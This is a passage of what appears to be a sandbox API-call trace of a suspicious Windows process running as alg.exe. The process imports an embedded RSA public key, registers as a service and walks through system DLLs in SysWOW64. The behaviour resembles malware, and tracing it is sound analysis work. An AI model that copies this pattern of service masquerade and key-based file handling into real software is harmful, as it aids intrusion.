pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x22f918, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x22f918, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0180.441] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x4a7cf8, pcbBinary=0x22f918, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x4a7cf8, pcbBinary=0x22f918, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0180.441] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x4a7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x22f918 | out: pvStructInfo=0x0, pcbStructInfo=0x22f918) returned 1 [0180.445] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x4a7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x4a7f40, pcbStructInfo=0x22f918 | out: pvStructInfo=0x4a7f40, pcbStructInfo=0x22f918) returned 1 [0180.445] CryptImportPublicKeyInfo (in: hCryptProv=0x5ce3b8, dwCertEncodingType=0x10001, pInfo=0x4a7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x4a7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x4a7f78*, PublicKey.cUnusedBits=0x0), phKey=0x22f91c | out: phKey=0x22f91c*=0x5cdb78) returned 1 [0180.446] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a7f40) returned 1 [0180.446] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a7cf8) returned 1 [0180.446] ReleaseMutex (hMutex=0xa0) returned 1 [0180.446] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a5058) returned 1 [0180.446] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x4a5058 [0180.446] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c900 [0180.446] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c900) returned 1 [0180.446] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a5058) returned 1 [0180.446] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x2800) returned 0x4a5058 [0180.446] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c900 [0180.446] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c900) returned 1 [0180.446] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c900 [0180.446] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0180.446] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e1e0 [0180.447] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x49c900, cbMultiByte=9, lpWideCharStr=0x49e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0180.447] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e268 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e1e0) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e268) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c900) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a5058) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a2850) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d258) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c240) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d268) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d278) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d288) returned 1 [0180.447] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49d5e8) returned 1 [0180.447] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0180.447] StartServiceCtrlDispatcherW (lpServiceTable=0x22f9e4*(lpServiceName="", lpServiceProc=0x136d040)) [0228.306] SetServiceStatus (hServiceStatus=0x5ce350, lpServiceStatus=0x22f8e4*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 788 os_tid = 0x574 Thread: id = 789 os_tid = 0x130 Thread: id = 790 os_tid = 0x558 Thread: id = 791 os_tid = 0x6c4 [0180.583] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0x136ce51) returned 0x5ce350 [0180.583] SetServiceStatus (hServiceStatus=0x5ce350, lpServiceStatus=0x177fba0*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0180.666] GetCommandLineW () returned="C:\\Windows\\System32\\alg.exe" [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e268 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x5c) returned 0x49dd28 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e1e0 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e2f0 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e378 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e400 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e488 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e510 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e598 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e620 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e6a8 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e730 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e7b8 [0180.666] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x100) returned 0x4a7cf8 [0180.667] GetSystemWow64DirectoryW (in: lpBuffer=0x4a7cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0180.667] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x4a7cf8) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e840 [0180.667] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e840) returned 1 [0180.667] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e840 [0180.667] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x177f8fc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x177f8fc) returned 0x5cfd68 [0180.667] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.667] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.667] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.667] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.667] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.667] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.667] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.667] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.667] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0180.669] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.669] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.669] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x49c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0180.669] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.669] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.670] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x49c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.670] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.670] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x49c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0180.670] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.670] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.670] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.671] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x49c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.671] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x49c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.671] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.671] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.671] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x49c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0180.672] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, 